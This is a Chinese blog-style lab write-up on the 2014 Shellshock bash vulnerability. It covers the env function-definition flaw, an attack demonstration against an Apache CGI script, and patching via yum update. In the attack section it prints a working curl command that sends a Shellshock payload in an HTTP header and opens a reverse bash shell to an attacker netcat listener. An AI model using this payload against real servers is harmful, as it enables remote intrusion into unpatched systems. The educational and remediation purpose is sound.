2014年9月25日互联网爆出bash存在严重漏洞!
我当时一头雾水,不知发生何事,于是求助“度娘”才知道发生了惊天的大事。此漏洞比openssl的心血漏洞还牛X,简直就是放血!
当时,找到的方案是升级bash-4.1.2-15.el6_5.1.x86_64能解决。自己在虚拟机上测试了一下,并对照红帽当时官网的结果对比,自以为一切OK。结果9月26日中午,又得知那个补丁失效,需要再升级到bash-4.1.2-15.el6_5.2.x86_64 ,于是我零乱了,决定仔细研究一下这个漏洞。
【关键词】:bash、env、环境变量、CGI、netcat
【环境】:1台Centos6.4 x86_64(开启apche服务)、1台Kali Linux PC(BT5升级啦!),两机器互通。
【第一部分bash的漏洞出在哪里?】
Centos6.4 x86_64操作系统默认安装bash-4.1.2-14.e16.x86_64版本。
(1)先玩一下env命令。这个命令可以定义一个环境变量,并把这个变量作为参数放到后的shell命令中,这里的shell是bash shell。
(2)env还能定义类型为函数的环境变量,并把这个函数作为bash执行。
(3)bash的漏洞初见倪端!
【第二部分 基于bash漏洞的攻击演示】
这个漏洞攻击是有条件的:
a)被攻击对象上的程序在某一时刻使用bash作为校本解释器,并处理环境变量赋值。
b)环境变量赋值字符串的提交取决于用户的输入。
与我们生活息息相关的就是网页,我们直接会想到apache。web开发这里我不做详细介绍,但大家要知道bashcgi也可以写简单的易用的web框架,完成监控、自动化等实际需求。
(1)我们先把httpd服务启动,并在/var/www/cgi-bin目录下创建duozhu_cgi文件,该文件赋权限755,文件内容如下。
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html>"
echo " <body>"
echo " ZhangDuozhu is in Beijing!"
echo " </body>"
echo "</html>"
(2)使用浏览器访问这个页面,正常如下。
这个是模拟正常的用户访问,下面我们模拟攻击者的恶意行为。
(3)使用kali Linux提供的netcat工具(此工具详细说明请找度娘),执行netcat -lvp 8080监听本机的8080端口,然后再打开一个窗口执行curl命令构造一个不同寻常的http请求,命令如下:
curl -H ‘X: () { :;}; /bin/bash -i >& /dev/tcp/192.168.8.149/8080 0>&1‘ http://192.168.8.153/cgi-bin/duozhu_cgi
这个命令的作用是反弹一个bash shell到kali linux机器的8080端口上。
此时,在kali linux的监听窗口发生了奇迹如下,我们成功拿到了bash shell !!!
(4)于是我们可以进行如下操作,当然执行什么命令得看你人品。
哦~这个漏洞还是比较危险的!
【第三部分修复bash漏洞】
修复很简单,如果条件允许就直接执行yum update bash 升级到bash-4.1.2-15.el6_5.2.x86_64版本。
如果条件不允许,可直接用rpm包安装。
升级后的测试如下:
(1)升级后使用env命令,发现貌似不允许定义函数类型的环境变量了。
升级后
升级前
(2)当这个大招都不好使后,那么curl到的肯定是个正常的结果,netcat也没用了。